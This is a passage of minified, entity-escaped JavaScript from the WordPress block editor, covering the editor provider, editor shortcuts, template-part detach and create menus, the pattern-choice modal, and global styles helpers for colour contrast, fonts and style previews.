shortcuts&quot;),categoryName:&quot;list-view&quot;})]}):null}var f6=xve;var Au=s(A(),1),ub=s(E(),1),Zp=s(D(),1),gj=s($(),1),db=s(O(),1),m6=s(Xe(),1),Cf=s(W(),1);var Fa=s(C(),1);function Cve(e,t=!1){return(0,db.useSelect)(r=&gt;{let{getEntityRecord:o,getDefaultTemplateId:n}=r(Cf.store),i=n({slug:e,is_custom:t,ignore_empty:!0});return i?o(&quot;postType&quot;,xt,i)?.content?.raw:void 0},[e,t])}function Tve(e){let{slug:t,patterns:r}=(0,db.useSelect)(i=&gt;{let{getCurrentPostType:a,getCurrentPostId:l}=i(w),{getEntityRecord:c,getBlockPatterns:u}=i(Cf.store),d=l(),f=a();return{slug:c(&quot;postType&quot;,f,d).slug,patterns:u()}},[]),o=(0,db.useSelect)(i=&gt;i(Cf.store).getCurrentTheme().stylesheet);function n(i){return i.innerBlocks.find(a=&gt;a.name===&quot;core/template-part&quot;)&amp;&amp;(i.innerBlocks=i.innerBlocks.map(a=&gt;(a.name===&quot;core/template-part&quot;&amp;&amp;a.attributes.theme===void 0&amp;&amp;(a.attributes.theme=o),a))),i.name===&quot;core/template-part&quot;&amp;&amp;i.attributes.theme===void 0&amp;&amp;(i.attributes.theme=o),i}return(0,Zp.useMemo)(()=&gt;[{name:&quot;fallback&quot;,blocks:(0,m6.parse)(e),title:(0,ub.__)(&quot;Fallback content&quot;)},...r.filter(i=&gt;Array.isArray(i.templateTypes)&amp;&amp;i.templateTypes.some(a=&gt;t.startsWith(a))).map(i=&gt;({...i,blocks:(0,m6.parse)(i.content).map(a=&gt;n(a))}))],[e,t,r])}function Pve({fallbackContent:e,onChoosePattern:t,postType:r}){let[,,o]=(0,Cf.useEntityBlockEditor)(&quot;postType&quot;,r),n=Tve(e);return(0,Fa.jsx)(gj.__experimentalBlockPatternsList,{blockPatterns:n,onClickPattern:(i,a)=&gt;{o(a,{selection:void 0}),t()}})}function kve({slug:e,isCustom:t,onClose:r,postType:o}){let n=Cve(e,t);return n?(0,Fa.jsxs)(Au.Modal,{className:&quot;editor-start-template-options__modal&quot;,title:(0,ub.__)(&quot;Choose a pattern&quot;),closeLabel:(0,ub.__)(&quot;Cancel&quot;),focusOnMount:&quot;firstElement&quot;,onRequestClose:r,isFullScreen:!0,children:[(0,Fa.jsx)(&quot;div&quot;,{className:&quot;editor-start-template-options__modal-content&quot;,children:(0,Fa.jsx)(Pve,{fallbackContent:n,slug:e,isCustom:t,postType:o,onChoosePattern:()=&gt;{r()}})}),(0,Fa.jsx)(Au.Flex,{className:&quot;editor-start-template-options__modal__actions&quot;,justify:&quot;flex-end&quot;,expanded:!1,children:(0,Fa.jsx)(Au.FlexItem,{children:(0,Fa.jsx)(Au.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:r,children:(0,ub.__)(&quot;Skip&quot;)})})})]}):null}function vj(){let[e,t]=(0,Zp.useState)(!1),{shouldOpenModal:r,slug:o,isCustom:n,postType:i,postId:a}=(0,db.useSelect)(l=&gt;{let{getCurrentPostType:c,getCurrentPostId:u}=l(w),d=c(),f=u(),{getEditedEntityRecord:m,hasEditsForEntityRecord:h}=l(Cf.store),g=m(&quot;postType&quot;,d,f);return{shouldOpenModal:!h(&quot;postType&quot;,d,f)&amp;&amp;g.content===&quot;&quot;&amp;&amp;xt===d,slug:g.slug,isCustom:g.is_custom,postType:d,postId:f}},[]);return(0,Zp.useEffect)(()=&gt;{t(!1)},[i,a]),!r||e?null:(0,Fa.jsx)(kve,{slug:o,isCustom:n,postType:i,onClose:()=&gt;t(!0)})}var Ou=s(Oi(),1),Iu=s(O(),1);var yj=s($(),1);function Tf(){let e=(0,Iu.useSelect)(v=&gt;{let{richEditingEnabled:y,codeEditingEnabled:b}=v(w).getEditorSettings();return!y||!b},[]),{getBlockSelectionStart:t}=(0,Iu.useSelect)(yj.store),{getActiveComplementaryArea:r}=(0,Iu.useSelect)(Ce),{enableComplementaryArea:o,disableComplementaryArea:n}=(0,Iu.useDispatch)(Ce),{redo:i,undo:a,savePost:l,setIsListViewOpened:c,switchEditorMode:u,toggleDistractionFree:d}=(0,Iu.useDispatch)(w),{isEditedPostDirty:f,isPostSavingLocked:m,isListViewOpened:h,getEditorMode:g}=(0,Iu.useSelect)(w);return(0,Ou.useShortcut)(&quot;core/editor/toggle-mode&quot;,()=&gt;{u(g()===&quot;visual&quot;?&quot;text&quot;:&quot;visual&quot;)},{isDisabled:e}),(0,Ou.useShortcut)(&quot;core/editor/toggle-distraction-free&quot;,()=&gt;{d()}),(0,Ou.useShortcut)(&quot;core/editor/undo&quot;,v=&gt;{a(),v.preventDefault()}),(0,Ou.useShortcut)(&quot;core/editor/redo&quot;,v=&gt;{i(),v.preventDefault()}),(0,Ou.useShortcut)(&quot;core/editor/save&quot;,v=&gt;{v.preventDefault(),!m()&amp;&amp;f()&amp;&amp;l()}),(0,Ou.useShortcut)(&quot;core/editor/toggle-list-view&quot;,v=&gt;{h()||(v.preventDefault(),c(!0))}),(0,Ou.useShortcut)(&quot;core/editor/toggle-sidebar&quot;,v=&gt;{if(v.preventDefault(),[&quot;edit-post/document&quot;,&quot;edit-post/block&quot;].includes(r(&quot;core&quot;)))n(&quot;core&quot;);else{let b=t()?&quot;edit-post/block&quot;:&quot;edit-post/document&quot;;o(&quot;core&quot;,b)}}),null}var Rj=s(O(),1),Kw=s($(),1);var fb=s(O(),1),qw=s($(),1),bj=s(W(),1),Zw=s(A(),1),Da=s(E(),1),Sj=s(ft(),1),_j=s(D(),1),Pf=s(C(),1);function wj({clientId:e,onClose:t}){let[r,o]=(0,_j.useState)(!1),{getBlocks:n}=(0,fb.useSelect)(qw.store),{replaceBlocks:i}=(0,fb.useDispatch)(qw.store),{canRemove:a,templatePartTitle:l}=(0,fb.useSelect)(d=&gt;{let{canRemoveBlock:f,getBlock:m}=d(qw.store),{getEntityRecord:h,getCurrentTheme:g}=d(bj.store),v=m(e),{slug:y,theme:b}=v?.attributes??{},_=b||g()?.stylesheet,S=_&amp;&amp;y?`${_}//${y}`:null,x=S?h(&quot;postType&quot;,&quot;wp_template_part&quot;,S):null;return{canRemove:f(e),templatePartTitle:x?.title?.rendered?(0,Sj.decodeEntities)(x.title.rendered):null}},[e]);if(!a)return null;let c=l?(0,Da.sprintf)((0,Da.__)(&quot;Detach %s?&quot;),l):(0,Da.__)(&quot;Detach template part?&quot;),u=l?(0,Da.sprintf)((0,Da.__)(&quot;The blocks will be separated from the original template part and will be fully editable. Future changes to the %s template part will not apply here.&quot;),l):(0,Da.__)(&quot;The blocks will be separated from the original template part and will be fully editable. Future changes to the template part will not apply here.&quot;);return(0,Pf.jsxs)(Pf.Fragment,{children:[(0,Pf.jsx)(Zw.MenuItem,{onClick:()=&gt;o(!0),children:(0,Da.__)(&quot;Detach&quot;)}),(0,Pf.jsx)(Zw.__experimentalConfirmDialog,{isOpen:r,onConfirm:()=&gt;{i(e,n(e)),t()},onCancel:()=&gt;o(!1),confirmButtonText:(0,Da.__)(&quot;Detach&quot;),size:&quot;medium&quot;,title:c,__experimentalHideHeader:!1,children:u})]})}var mb=s(O(),1),p6=s($(),1),xj=s(A(),1),Cj=s(Xe(),1),h6=s(E(),1),Tj=s(D(),1),Pj=s(ct(),1);var kj=s(W(),1);var kf=s(C(),1);function Ej({clientIds:e,blocks:t}){let[r,o]=(0,Tj.useState)(!1),{replaceBlocks:n}=(0,mb.useDispatch)(p6.store),{createSuccessNotice:i}=(0,mb.useDispatch)(Pj.store),{isBlockBasedTheme:a,canCreate:l}=(0,mb.useSelect)(u=&gt;({isBlockBasedTheme:u(kj.store).getCurrentTheme()?.is_block_theme,canCreate:u(p6.store).canInsertBlockType(&quot;core/template-part&quot;)}),[]);if(!a||!l)return null;let c=async u=&gt;{n(e,(0,Cj.createBlock)(&quot;core/template-part&quot;,{slug:u.slug,theme:u.theme})),i((0,h6.__)(&quot;Template part created.&quot;),{type:&quot;snackbar&quot;})};return(0,kf.jsxs)(kf.Fragment,{children:[(0,kf.jsx)(xj.MenuItem,{icon:Wd,onClick:()=&gt;{o(!0)},&quot;aria-expanded&quot;:r,&quot;aria-haspopup&quot;:&quot;dialog&quot;,children:(0,h6.__)(&quot;Create template part&quot;)}),r&amp;&amp;(0,kf.jsx)(Cp,{closeModal:()=&gt;{o(!1)},blocks:t,onCreate:c})]})}var pb=s(C(),1);function Aj(){return(0,pb.jsx)(Kw.BlockSettingsMenuControls,{children:({selectedClientIds:e,onClose:t})=&gt;(0,pb.jsx)(Eve,{clientIds:e,onClose:t})})}function Eve({clientIds:e,onClose:t}){let{blocks:r}=(0,Rj.useSelect)(o=&gt;{let{getBlocksByClientId:n}=o(Kw.store);return{blocks:n(e)}},[e]);return r.length===1&amp;&amp;r[0]?.name===&quot;core/template-part&quot;?(0,pb.jsx)(wj,{clientId:e[0],onClose:t}):(0,pb.jsx)(Ej,{clientIds:e,blocks:r})}var Dt=s(C(),1),{ExperimentalBlockEditorProvider:Rve}=N(Xp.privateApis),{PatternsMenuItems:Ave}=N(Ij.privateApis),hb=()=&gt;{},Ove=[&quot;wp_block&quot;,&quot;wp_navigation&quot;,&quot;wp_template_part&quot;];function Ive(e,t,r){let o=w7(),n=r===&quot;template-locked&quot;?&quot;template&quot;:&quot;post&quot;,[i,a,l]=(0,Ys.useEntityBlockEditor)(&quot;postType&quot;,e.type,{id:e.id}),[c,u,d]=(0,Ys.useEntityBlockEditor)(&quot;postType&quot;,t?.type,{id:t?.id}),f=(0,Ii.useMemo)(()=&gt;{if(e.type===&quot;wp_navigation&quot;)return[(0,Nj.createBlock)(&quot;core/navigation&quot;,{ref:e.id,templateLock:!1})]},[e.type,e.id]),m=(0,Ii.useMemo)(()=&gt;f||(n===&quot;template&quot;?c:i),[f,n,c,i]);return o!==null?[o,hb,hb]:!!t&amp;&amp;r===&quot;template-locked&quot;||e.type===&quot;wp_navigation&quot;?[m,hb,hb]:[m,n===&quot;post&quot;?a:u,n===&quot;post&quot;?l:d]}var v6=$V(({post:e,settings:t,recovery:r,initialEdits:o,children:n,BlockEditorProviderComponent:i=Rve,__unstableTemplate:a})=&gt;{let l=!!a,{editorSettings:c,selection:u,isReady:d,mode:f,defaultMode:m,postTypeEntities:h,isInRevisionsMode:g,currentRevisionId:v}=(0,Kp.useSelect)(H=&gt;{let{getEditorSettings:X,getRenderingMode:ae,__unstableIsEditorReady:ne,getDefaultRenderingMode:ue,isRevisionsMode:Ye,getCurrentRevisionId:ye}=N(H(w)),{getEntitiesConfig:oe,getEntityRecordEdits:ge}=H(Ys.store),Re=ae(),ze=ue(e.type),Ve=ze===&quot;template-locked&quot;?l:ze!==void 0,tt=ze!==void 0,vt=ge(&quot;postType&quot;,e.type,e.id);return{editorSettings:X(),isReady:ne(),mode:tt?Re:void 0,defaultMode:Ve?ze:void 0,selection:vt?.selection,postTypeEntities:e.type===&quot;wp_template&quot;?oe(&quot;postType&quot;):null,isInRevisionsMode:Ye(),currentRevisionId:ye()}},[e.type,e.id,l]),y=l&amp;&amp;f!==&quot;post-only&quot;,b=y?a:e,_=(0,Ii.useMemo)(()=&gt;{let H={};if(e.type===&quot;wp_template&quot;){if(e.slug===&quot;page&quot;)H.postType=&quot;page&quot;;else if(e.slug===&quot;single&quot;)H.postType=&quot;post&quot;;else if(e.slug.split(&quot;-&quot;)[0]===&quot;single&quot;){let X=h?.map(ne=&gt;ne.name)||[],ae=e.slug.match(`^single-(${X.join(&quot;|&quot;)})(?:-.+)?$`);ae&amp;&amp;(H.postType=ae[1])}}else(!Ove.includes(b.type)||y)&amp;&amp;(H.postId=e.id,H.postType=e.type);return{...H,templateSlug:b.type===&quot;wp_template&quot;?b.slug:void 0}},[y,e.id,e.type,e.slug,b.type,b.slug,h]),{id:S,type:x}=b,T=J8(c,x,S,f),[R,F,B]=Ive(e,a,f),{updatePostLock:z,setupEditor:L,updateEditorSettings:M,setCurrentTemplateId:k,setEditedPost:I,setRenderingMode:U}=N((0,Kp.useDispatch)(w)),{editEntityRecord:G}=(0,Kp.useDispatch)(Ys.store),Y=(0,Ii.useCallback)(H=&gt;{G(&quot;postType&quot;,e.type,e.id,{selection:H},{undoIgnore:!0})},[G,e.type,e.id]),{createWarningNotice:Z,removeNotice:V}=(0,Kp.useDispatch)(Oj.store);return(0,Ii.useLayoutEffect)(()=&gt;{r||(z(t.postLock),L(e,o,t.template),t.autosave&amp;&amp;Z((0,g6.__)(&quot;There is an autosave of this post that is more recent than the version below.&quot;),{id:&quot;autosave-exists&quot;,actions:[{label:(0,g6.__)(&quot;View the autosave&quot;),url:t.autosave.editLink}]}))},[]),(0,Ii.useEffect)(()=&gt;(I(e.type,e.id),typeof window&lt;&quot;u&quot;&amp;&amp;window.__experimentalTemplateActivate&amp;&amp;V(&quot;template-activate-notice&quot;),()=&gt;I(null,null)),[e.type,e.id,I,V]),(0,Ii.useEffect)(()=&gt;{M(t)},[t,M]),(0,Ii.useEffect)(()=&gt;{k(a?.id)},[a?.id,k]),(0,Ii.useEffect)(()=&gt;{m&amp;&amp;U(m)},[m,U]),s7(e.type,f),G9(),K9(),!d||!f?null:e.type===ur&amp;&amp;window?.__experimentalMediaEditor?(0,Dt.jsx)(Ys.EntityProvider,{kind:&quot;root&quot;,type:&quot;site&quot;,children:(0,Dt.jsxs)(Ys.EntityProvider,{kind:&quot;postType&quot;,type:e.type,id:e.id,children:[n,!t.isPreviewMode&amp;&amp;(0,Dt.jsxs)(Dt.Fragment,{children:[(0,Dt.jsx)(Tf,{}),(0,Dt.jsx)(f6,{})]})]})}):(0,Dt.jsx)(Ys.EntityProvider,{kind:&quot;root&quot;,type:&quot;site&quot;,children:(0,Dt.jsx)(Ys.EntityProvider,{kind:&quot;postType&quot;,type:e.type,id:e.id,revisionId:v??void 0,children:(0,Dt.jsx)(Xp.BlockContextProvider,{value:_,children:(0,Dt.jsxs)(i,{value:R,onChange:B,onInput:F,selection:g?void 0:u,onChangeSelection:g?hb:Y,settings:T,useSubRegistry:!1,children:[n,!t.isPreviewMode&amp;&amp;(0,Dt.jsxs)(Dt.Fragment,{children:[(0,Dt.jsx)(Ave,{}),(0,Dt.jsx)(Aj,{}),f===&quot;template-locked&quot;&amp;&amp;(0,Dt.jsx)(t7,{}),x===&quot;wp_navigation&quot;&amp;&amp;(0,Dt.jsx)(o7,{}),(0,Dt.jsx)(Tf,{}),(0,Dt.jsx)(f6,{}),(0,Dt.jsx)(tj,{}),(0,Dt.jsx)(nj,{}),(0,Dt.jsx)(vj,{}),(0,Dt.jsx)(M9,{}),(0,Dt.jsx)(z9,{})]})]})})})})});function y6(e){return(0,Dt.jsx)(v6,{...e,BlockEditorProviderComponent:Xp.BlockEditorProvider,children:e.children})}var Fj=y6;var xG=s(W(),1),CG=s(O(),1),J6=s(D(),1);var bh=s(A(),1),Ux=s(Xe(),1),hG=s(O(),1),gG=s($(),1),Uu=s(D(),1),q6=s(he(),1);var b6=s(D(),1);var Dj=s(D(),1),Br=(0,Dj.createContext)({user:{styles:{},settings:{}},base:{styles:{},settings:{}},merged:{styles:{},settings:{}},onChange:()=&gt;{},fontLibraryEnabled:!1});var Bj=s(C(),1);function gb({children:e,value:t,baseValue:r,onChange:o,fontLibraryEnabled:n}){let i=(0,b6.useMemo)(()=&gt;go(r,t),[r,t]),a=(0,b6.useMemo)(()=&gt;({user:t,base:r,merged:i,onChange:o,fontLibraryEnabled:n}),[t,r,i,o,n]);return(0,Bj.jsx)(Br.Provider,{value:a,children:e})}var mr=s(A(),1),If=s(E(),1);var nz=s(O(),1),iz=s(W(),1);var Mj=s(C(),1);function vb({className:e,...t}){return(0,Mj.jsx)(No,{className:re(e,&quot;global-styles-ui-icon-with-current-color&quot;),...t})}var Nu=s(A(),1);var Ef=s(C(),1);function Nve({icon:e,children:t,...r}){return(0,Ef.jsxs)(Nu.__experimentalItem,{...r,children:[e&amp;&amp;(0,Ef.jsxs)(Nu.__experimentalHStack,{justify:&quot;flex-start&quot;,children:[(0,Ef.jsx)(vb,{icon:e,size:24}),(0,Ef.jsx)(Nu.FlexItem,{children:t})]}),!e&amp;&amp;t]})}function fr(e){return(0,Ef.jsx)(Nu.Navigator.Button,{as:Nve,...e})}var Wj=s(A(),1);var Rf=s(E(),1),Yj=s($(),1);var S6=function(e){var t=e/255;return t&lt;.04045?t/12.92:Math.pow((t+.055)/1.055,2.4)},_6=function(e){return .2126*S6(e.r)+.7152*S6(e.g)+.0722*S6(e.b)};function Xw(e){e.prototype.luminance=function(){return t=_6(this.rgba),(r=2)===void 0&amp;&amp;(r=0),o===void 0&amp;&amp;(o=Math.pow(10,r)),Math.round(o*t)/o+0;var t,r,o},e.prototype.contrast=function(t){t===void 0&amp;&amp;(t=&quot;#FFF&quot;);var r,o,n,i,a,l,c,u=t instanceof e?t:new e(t);return i=this.rgba,a=u.toRgb(),l=_6(i),c=_6(a),r=l&gt;c?(l+.05)/(c+.05):(c+.05)/(l+.05),(o=2)===void 0&amp;&amp;(o=0),n===void 0&amp;&amp;(n=Math.pow(10,o)),Math.floor(n*r)/n+0},e.prototype.isReadable=function(t,r){return t===void 0&amp;&amp;(t=&quot;#FFF&quot;),r===void 0&amp;&amp;(r={}),this.contrast(t)&gt;=(l=(a=(o=r).size)===void 0?&quot;normal&quot;:a,(i=(n=o.level)===void 0?&quot;AA&quot;:n)===&quot;AAA&quot;&amp;&amp;l===&quot;normal&quot;?7:i===&quot;AA&quot;&amp;&amp;l===&quot;large&quot;?3:4.5);var o,n,i,a,l}}var ls=s(D(),1),zj=s(O(),1),Uj=s(W(),1),x6=s(E(),1);function w6(e,t){if(!t?.length||typeof e!=&quot;object&quot;||!e||!Object.keys(e).length)return e;for(let r in e)t.includes(r)?delete e[r]:typeof e[r]==&quot;object&quot;&amp;&amp;w6(e[r],t);return e}var Qw=(e,t)=&gt;{if(!e||!t?.length)return{};let r={};return Object.keys(e).forEach(o=&gt;{if(t.includes(o))r[o]=e[o];else if(typeof e[o]==&quot;object&quot;){let n=Qw(e[o],t);Object.keys(n).length&amp;&amp;(r[o]=n)}}),r};function yb(e,t){let r=Qw(structuredClone(e),t);return pf(r,e)}function Lj(e,t){if(!Array.isArray(e)||!t)return null;let o=t.replace(&quot;var(&quot;,&quot;&quot;).replace(&quot;)&quot;,&quot;&quot;)?.split(&quot;--&quot;).slice(-1)[0];return e.find(n=&gt;n.slug===o)}function Vj(e){let t=e?.settings?.typography?.fontFamilies?.theme,r=e?.settings?.typography?.fontFamilies?.custom,o=[];t&amp;&amp;r?o=[...t,...r]:t?o=t:r&amp;&amp;(o=r);let n=e?.styles?.typography?.fontFamily,i=Lj(o,n),a=e?.styles?.elements?.heading?.typography?.fontFamily,l;return a?l=Lj(o,e?.styles?.elements?.heading?.typography?.fontFamily):l=i,[i,l]}function jj(e){return e?`is-style-${e}`:&quot;&quot;}function Jw(e,t){let r=new RegExp(`^${t}([\\d]+)$`);return e.reduce((n,i)=&gt;{if(typeof i?.slug==&quot;string&quot;){let a=i?.slug.match(r);if(a){let l=parseInt(a[1],10);if(l&gt;n)return l}}return n},0)+1}uw([Xw]);function Ee(e,t,r=&quot;merged&quot;,o=!0){let{user:n,base:i,merged:a,onChange:l}=(0,ls.useContext)(Br),c=a;r===&quot;base&quot;?c=i:r===&quot;user&quot;&amp;&amp;(c=n);let u=(0,ls.useMemo)(()=&gt;Fy(c,e,t,o),[c,e,t,o]),d=(0,ls.useCallback)(f=&gt;{let m=Dy(n,e,f,t);l(m)},[n,l,e,t]);return[u,d]}function pe(e,t,r=&quot;merged&quot;){let{user:o,base:n,merged:i,onChange:a}=(0,ls.useContext)(Br),l=i;r===&quot;base&quot;?l=n:r===&quot;user&quot;&amp;&amp;(l=o);let c=(0,ls.useMemo)(()=&gt;mf(l,e,t),[l,e,t]),u=(0,ls.useCallback)(d=&gt;{let f=Oy(o,e,d,t);a(f)},[o,a,e,t]);return[c,u]}var Fve=[];function Dve({title:e,settings:t,styles:r}){return e===(0,x6.__)(&quot;Default&quot;)||Object.keys(t||{}).length&gt;0||Object.keys(r||{}).length&gt;0}function $w(e=[]){let{variationsFromTheme:t}=(0,zj.useSelect)(o=&gt;({variationsFromTheme:o(Uj.store).__experimentalGetCurrentThemeGlobalStylesVariations?.()||Fve}),[]),{user:r}=(0,ls.useContext)(Br);return(0,ls.useMemo)(()=&gt;{let o=structuredClone(r),n=w6(o,e);n.title=(0,x6.__)(&quot;Default&quot;);let i=t.filter(l=&gt;yb(l,e)).map(l=&gt;go(n,l)),a=[n,...i];return a?.length?a.filter(Dve):[]},[e,r,t])}function Hj(e){let[t,r]=pe(&quot;color.palette.theme&quot;,e),o=(0,ls.useCallback)(()=&gt;{if(!t||!t.length)return;let n=Math.floor(Math.random()*225),i=t.map(a=&gt;{let{color:l}=a,c=xr(l).rotate(n).toHex();return{...a,color:c}});r(i)},[t,r]);return window.__experimentalEnableColorRandomizer?[o]:[]}var Gj=s(qv(),1),{lock:V8e,unlock:rt}=(0,Gj.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(&quot;I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.&quot;,&quot;@wordpress/global-styles-ui&quot;);var qs=s(C(),1),{useHasDimensionsPanel:Bve,useHasTypographyPanel:Mve,useHasColorPanel:Lve,useSettingsForBlockElement:Vve,useHasBackgroundPanel:jve}=rt(Yj.privateApis);function zve(){let[e]=pe(&quot;&quot;),t=Vve(e),r=jve(e),o=Mve(t),n=Lve(t),i=!0,l=Bve(t);return(0,qs.jsx)(qs.Fragment,{children:(0,qs.jsxs)(Wj.__experimentalItemGroup,{children:[o&amp;&amp;(0,qs.jsx)(fr,{icon:JA,path:&quot;/typography&quot;,children:(0,Rf.__)(&quot;Typography&quot;)}),n&amp;&amp;(0,qs.jsx)(fr,{icon:MR,path:&quot;/colors&quot;,children:(0,Rf.__)(&quot;Colors&quot;)}),r&amp;&amp;(0,qs.jsx)(fr,{icon:pR,path:&quot;/background&quot;,&quot;aria-label&quot;:(0,Rf.__)(&quot;Background styles&quot;),children:(0,Rf.__)(&quot;Background&quot;)}),i&amp;&amp;(0,qs.jsx)(fr,{icon:Hv,path:&quot;/shadows&quot;,children:(0,Rf.__)(&quot;Shadows&quot;)}),l&amp;&amp;(0,qs.jsx)(fr,{icon:Bs,path:&quot;/layout&quot;,children:(0,Rf.__)(&quot;Layout&quot;)})]})})}var qj=zve;var Ba=s(A(),1);function Qp(){let[e=&quot;black&quot;]=Ee(&quot;color.text&quot;),[t=&quot;white&quot;]=Ee(&quot;color.background&quot;),[r=e]=Ee(&quot;elements.h1.color.text&quot;),[o=r]=Ee(&quot;elements.link.color.text&quot;),[n=o]=Ee(&quot;elements.button.color.background&quot;),[i]=pe(&quot;color.palette.core&quot;)||[],[a]=pe(&quot;color.palette.theme&quot;)||[],[l]=pe(&quot;color.palette.custom&quot;)||[],c=(a??[]).concat(l??[]).concat(i??[]),u=c.filter(({color:m})=&gt;m===e),d=c.filter(({color:m})=&gt;m===n),f=u.concat(d).concat(c).filter(({color:m})=&gt;m!==t).slice(0,2);return{paletteColors:c,highlightedColors:f}}var Xj=s(D(),1),Qj=s(A(),1),T6=s(E(),1);function Uve(e,t){return t.length===0?null:(t.sort((r,o)=&gt;Math.abs(e-r)-Math.abs(e-o)),t[0])}function Hve(e){let t=[];return e.forEach(r=&gt;{let o=String(r.fontWeight).split(&quot; &quot;);if(o.length===2){let n=parseInt(o[0]),i=parseInt(o[1]);for(let a=n;a&lt;=i;a+=100)t.push(a)}else o.length===1&amp;&amp;t.push(parseInt(o[0]))}),t}function Zj(e){let t=/^(?!generic\([ a-zA-Z\-]+\)$)(?!^[a-zA-Z\-]+$).+/,r=e.trim(),o=n=&gt;(n=n.trim(),n.match(t)?(n=n.replace(/^[&quot;&#039;]|[&quot;&#039;]$/g,&quot;&quot;),`&quot;${n}&quot;`):n);return r.includes(&quot;,&quot;)?r.split(&quot;,&quot;).map(o).filter(n=&gt;n!==&quot;&quot;).join(&quot;, &quot;):o(r)}function C6(e){if(!e)return&quot;&quot;;let t=e.trim();return t.includes(&quot;,&quot;)&amp;&amp;(t=(t.split(&quot;,&quot;).find(r=&gt;r.trim()!==&quot;&quot;)??&quot;&quot;).trim()),t=t.replace(/^[&quot;&#039;]|[&quot;&#039;]$/g,&quot;&quot;),window.navigator.userAgent.toLowerCase().includes(&quot;firefox&quot;)&amp;&amp;(t=`&quot;${t}&quot;`),t}function Af(e){let t={fontFamily:Zj(e.fontFamily)};if(!(&quot;fontFace&quot;in e)||!Array.isArray(e.fontFace))return t.fontWeight=&quot;400&quot;,t.fontStyle=&quot;normal&quot;,t;if(e.fontFace){let r=e.fontFace.filter(o=&gt;o?.fontStyle&amp;&amp;o.fontStyle.toLowerCase()===&quot;normal&quot;);if(r.length&gt;0){t.fontStyle=&quot;normal&quot;;let o=Hve(r),n=Uve(400,o);t.fontWeight=String(n)||&quot;400&quot;}else t.fontStyle=e.fontFace.length&amp;&amp;e.fontFace[0].fontStyle||&quot;normal&quot;,t.fontWeight=e.fontFace.length&amp;&amp;String(e.fontFace[0].fontWeight)||&quot;400&quot;}return t}function Kj(e){return{fontFamily:Zj(e.fontFamily),fontStyle:e.fontStyle||&quot;normal&quot;,fontWeight:e.fontWeight||&quot;400&quot;}}var bb=s(C(),1);function ex({fontSize:e,variation:t}){let{base:r}=(0,Xj.useContext)(Br),o=r;t&amp;&amp;(o={...r,...t});let[n]=Ee(&quot;color.text&quot;),[i,a]=Vj(o),l=i?Af(i):{},c=a?Af(a):{};return n&amp;&amp;(l.color=n,c.color=n),e&amp;&amp;(l.fontSize=e,c.fontSize=e),(0,bb.jsxs)(Qj.__unstableMotion.div,{animate:{scale:1,opacity:1},initial:{scale:.1,opacity:0},transition:{delay:.3,type:&quot;tween&quot;},style:{textAlign:&quot;center&quot;,lineHeight:1},children:[(0,bb.jsx)(&quot;span&quot;,{style:c,children:(0,T6._x)(&quot;A&quot;,&quot;Uppercase letter A&quot;)}),(0,bb.jsx)(&quot;span&quot;,{style:l,children:(0,T6._x)(&quot;a&quot;,&quot;Lowercase letter A&quot;)})]})}var Jj=s(A(),1);var $j=s(C(),1);function ez({normalizedColorSwatchSize:e,ratio:t}){let{highlightedColors:r}=Qp(),o=e*t;return r.map(({slug:n,color:i},a)=&gt;(0,$j.jsx)(Jj.__unstableMotion.div,{style:{height:o,width:o,background:i,borderRadius:o/2},animate:{scale:1,opacity:1},initial:{scale:.1,opacity:0},transition:{delay:a===1?.2:.1}},`${n}-${a}`))}var oz=s(A(),1),Jp=s(he(),1),Of=s(D(),1);var Fu=s(C(),1),tz=248,rz=152,Gve={leading:!0,trailing:!0};function Wve({children:e,label:t,isFocused:r,withHoverView:o}){let[n=&quot;white&quot;]=Ee(&quot;color.background&quot;),[i]=Ee(&quot;color.gradient&quot;),a=(0,Jp.useReducedMotion)(),[l,c]=(0,Of.useState)(!1),[u,{width:d}]=(0,Jp.useResizeObserver)(),[f,m]=(0,Of.useState)(d),[h,g]=(0,Of.useState)(),v=(0,Jp.useThrottle)(m,250,Gve);(0,Of.useLayoutEffect)(()=&gt;{d&amp;&amp;v(d)},[d,v]),(0,Of.useLayoutEffect)(()=&gt;{let S=f?f/tz:1,x=S-(h||0);(Math.abs(x)&gt;.1||!h)&amp;&amp;g(S)},[f,h]);let y=d?d/tz:1,b=h||y;return(0,Fu.jsxs)(Fu.Fragment,{children:[(0,Fu.jsx)(&quot;div&quot;,{style:{position:&quot;relative&quot;},children:u}),!!d&amp;&amp;(0,Fu.jsx)(&quot;div&quot;,{className:&quot;global-styles-ui-preview__wrapper&quot;,style:{height:rz*b},onMouseEnter:()=&gt;c(!0),onMouseLeave:()=&gt;c(!1),tabIndex:-1,children:(0,Fu.jsx)(oz.__unstableMotion.div,{style:{height:rz*b,width:&quot;100%&quot;,background:i??n,cursor:o?&quot;pointer&quot;:void 0},initial:&quot;start&quot;,animate:(l||r)&amp;&amp;!a&amp;&amp;t?&quot;hover&quot;:&quot;start&quot;,children:[].concat(e).map((S,x)=&gt;S({ratio:b,key:x}))})})]})}var $p=Wve;var ri=s(C(),1),Yve={start:{scale:1,opacity:1},hover:{scale:0,opacity:0}},qve={hover:{opacity:1},start:{opacity:.5}},Zve={hover:{scale:1,opacity:1},start:{scale:0,opacity:0}};function Kve({label:e,isFocused:t,withHoverView:r,variation:o}){let[n]=Ee(&quot;typography.fontWeight&quot;),[i=&quot;serif&quot;]=Ee(&quot;typography.fontFamily&quot;),[a=i]=Ee(&quot;elements.h1.typography.fontFamily&quot;),[l=n]=Ee(&quot;elements.h1.typography.fontWeight&quot;),[c=&quot;black&quot;]=Ee(&quot;color.text&quot;),[u=c]=Ee(&quot;elements.h1.color.text&quot;),{paletteColors:d}=Qp();return(0,ri.jsxs)($p,{label:e,isFocused:t,withHoverView:r,children:[({ratio:f,key:m})=&gt;(0,ri.jsx)(Ba.__unstableMotion.div,{variants:Yve,style:{height:&quot;100%&quot;,overflow:&quot;hidden&quot;},children:(0,ri.jsxs)(Ba.__experimentalHStack,{spacing:10*f,justify:&quot;center&quot;,style:{height:&quot;100%&quot;,overflow:&quot;hidden&quot;},children:[(0,ri.jsx)(ex,{fontSize:65*f,variation:o}),(0,ri.jsx)(Ba.__experimentalVStack,{spacing:4*f,children:(0,ri.jsx)(ez,{normalizedColorSwatchSize:32,ratio:f})})]})},m),({key:f})=&gt;(0,ri.jsx)(Ba.__unstableMotion.div,{variants:r?qve:void 